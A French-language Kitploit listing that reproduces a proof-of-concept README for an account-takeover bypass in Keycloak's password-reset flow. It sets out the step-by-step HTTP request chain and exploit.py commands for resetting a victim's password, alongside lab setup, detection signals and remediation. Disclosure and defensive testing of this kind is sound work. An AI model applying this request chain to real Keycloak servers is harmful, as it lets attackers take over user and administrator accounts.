Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-18963-keycloak — Exploit de preuve de concept pour CVE-2026-18963, un contournement critique de la réinitialisation des identifiants Keycloak permettant la prise de contrôle de comptes sans authentification. Inclut la configuration d'un laboratoire, des recommandations de détection et des étapes de remédiation pour des tests autorisés. | Kitploit
Outils/GitHubGitHub/red-darkin/cve-2026-18963-keycloak
Analyse des VulnérabilitésExploitationExploitation d'Applications WebSécurité WebAuthentificationApprentissage et Éducation
GitHubred-darkin/cve-2026-18963-keycloak

CVE-2026-18963-keycloak

Voir le dépôt
20346il y a 2 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →

À propos

Exploit de preuve de concept pour CVE-2026-18963, un contournement critique de la réinitialisation des identifiants Keycloak permettant la prise de contrôle de comptes sans authentification. Inclut la configuration d'un laboratoire, des recommandations de détection et des étapes de remédiation pour des tests autorisés.

Partager

CVE-2026-18963 — Contournement de la réinitialisation des identifiants Keycloak → Prise de contrôle de compte

Prise de contrôle de compte non authentifiée dans le flux de réinitialisation des identifiants de Keycloak. Un attaquant qui connaît uniquement un nom d'utilisateur/e-mail peut réinitialiser le mot de passe de n'importe quel utilisateur — y compris les administrateurs — sans jamais recevoir l'e-mail de vérification.

CVE CVSS CWE License


⚠️ Avertissement — Usage éthique uniquement

Cette preuve de concept est publiée strictement à des fins éducatives, de recherche défensive, d'ingénierie de détection et de tests de sécurité autorisés.

  • Utilisez-la uniquement contre des systèmes que vous possédez ou pour lesquels vous disposez d'une autorisation écrite explicite de tester. Accéder à des systèmes ou les modifier sans autorisation est illégal et contraire à l'éthique.
  • Il s'agit d'une ressource défensive/éducative destinée à aider les équipes à comprendre, détecter et corriger CVE-2026-18963 — et non à attaquer des tiers.
  • L'auteur (red-darkin) n'assume AUCUNE responsabilité pour tout usage abusif, dommage ou activité illégale commis avec ce code. Vous êtes seul responsable de la manière dont vous l'utilisez et du respect de toutes les lois applicables.
  • En téléchargeant ou en utilisant ce dépôt, vous acceptez ces conditions. Si vous n'êtes pas d'accord, ne l'utilisez pas.

Consultez DISCLAIMER.md pour la déclaration complète.


Résumé

CVECVE-2026-18963
GravitéCritique — CVSS 3.1 9.1 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N)
FaiblesseCWE-640 — Mécanisme de récupération de mot de passe faible
AffectéKeycloak < 26.7.2 (amont). Les flux de builds RH également corrigés via les bundles 26.6.6 / 26.4.15
CorrigéKeycloak 26.7.2 (PR #51844)
PréconditionsForgot password (réinitialisation des identifiants) activé sur le realm — la valeur par défaut
ImpactPrise de contrôle complète de tout compte utilisateur (y compris les administrateurs de realm) → compromission de l'IdP + accès SSO latéral

Fonctionnement — deux failles enchaînées

Le flux de réinitialisation de mot de passe (reset-credentials) vous oblige normalement à cliquer sur un lien envoyé par e-mail au propriétaire du compte avant de pouvoir définir un nouveau mot de passe. Deux défauts permettent à un attaquant de contourner entièrement cette vérification :

  1. État « Try Another Way » non délimité — le gestionnaire du sélecteur d'authentification stocke la note AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED = "true" sans la délimiter à l'ID d'exécution. Le fait de rentrer dans le flux laisse la session d'authentification dans un état confus/obsolète.
  2. Vérification de jeton manquante à l'étape e-mail — ResetCredentialEmail.action() appelle context.success() sans vérifier ACTION_TOKEN_USER_ID (c'est-à-dire sans confirmer que le jeton d'action envoyé par e-mail a réellement été consommé).

Leur enchaînement fait passer la session d'authentification directement à l'étape UPDATE_PASSWORD pour un utilisateur arbitraire, sans aucun e-mail requis.

GET  /auth (client_id=account)                       ── login page (has "Forgot password?")
GET  /login-actions/reset-credentials …              ── choose-user form
POST …reset-credentials      tryAnotherWay=on        ── bug #1: enter "Try Another Way" selector
POST …reset-credentials      username=<victim>       ── select user via selector
GET  …/restart …                                     ── refresh session state
GET  /login-actions/reset-credentials …              ── re-enter → STALE selector (corrupted state)
POST …reset-credentials      username=<victim>       ── bug #2: jumps to UPDATE_PASSWORD (no token!)
POST /login-actions/required-action?execution=UPDATE_PASSWORD
        password-new=…&password-confirm=…            ── 302 → password changed → TAKEOVER

Voir docs/ROOTCAUSE.md pour le diff de patch annoté.


Démarrage rapide (lab)

Vous avez besoin de Docker et de Python 3 avec requests.

# 1) Spin up a vulnerable Keycloak + demo realm/user  (any version < 26.7.2)
./run_lab.sh                 # uses keycloak/keycloak:26.5.0

# 2) Run the exploit against the demo 'victim' user
pip install requests
python3 exploit.py --base http://127.0.0.1:8080 --realm poc \
    --client account --victim victim --new-pass 'Pwned-2026!'

Sortie attendue :

[7] *** update-password form served WITHOUT token ***
[8] set-password -> HTTP 302
[+] CVE-2026-18963 EXPLOITED. Login: victim / Pwned-2026!

Puis connectez-vous en tant que victim / Pwned-2026! pour confirmer la prise de contrôle.

Contrôle négatif (corrigé)

KC_TAG=26.7.2 ./run_lab.sh
python3 exploit.py --base http://127.0.0.1:8080 --realm poc \
    --client account --victim victim --new-pass 'Pwned-2026!'
# stops early — the update-password form is never served

Utilisation

python3 exploit.py --base URL --realm REALM --victim USER --new-pass PASS [options]

  --base       Keycloak base URL, e.g. http://127.0.0.1:8080
  --realm      target realm (default: master)
  --client     public client without PKCE (default: account)
  --victim     victim username or email
  --new-pass   password to set
  --proxy      route through a proxy, e.g. http://127.0.0.1:8081 (Burp)
  -k           skip TLS verification

Chaque réponse HTTP est écrite dans ./dump/ pour inspection.


Proxy via Burp

Keycloak utilise déjà 8080, donc configurez le listener de Burp sur un autre port (par exemple 8081) :

python3 exploit.py --base http://127.0.0.1:8080 --realm poc \
    --client account --victim victim --new-pass 'Pwned-2026!' \
    --proxy http://127.0.0.1:8081

La chaîne de requêtes brute pour Burp Repeater se trouve dans requests/burp-chain.txt.


Détection

Recherchez un changement de mot de passe qui n'a pas été précédé d'une vérification par e-mail dans la même session d'authentification :

  • Un événement UPDATE_PASSWORD sans VERIFY_EMAIL / EXECUTE_ACTION_TOKEN préalable pour cette session.
  • Des rafales de requêtes reset-credentials portant tryAnotherWay=on.
  • Des ré-entrées multiples dans login-actions/reset-credentials pour le même tab_id.

Remédiation

  • Mettre à niveau vers Keycloak 26.7.2 (ou le flux de build RH corrigé) — priorité absolue.
  • Atténuation temporaire : Realm settings → Login → Forgot password = Off.
  • Après le correctif : renouveler les identifiants d'administration, forcer une reconnexion après les réinitialisations, et alerter sur les signaux de détection ci-dessus.

Références

  • NVD — https://nvd.nist.gov/vuln/detail/CVE-2026-18963
  • PR de correction #51844 — https://github.com/keycloak/keycloak/pull/51844
  • Issue #51833 — https://github.com/keycloak/keycloak/issues/51833
  • Red Hat — https://access.redhat.com/security/cve/cve-2026-18963

Démo

CVE-2026-18963 PoC

Crédits

Télécharger l’outil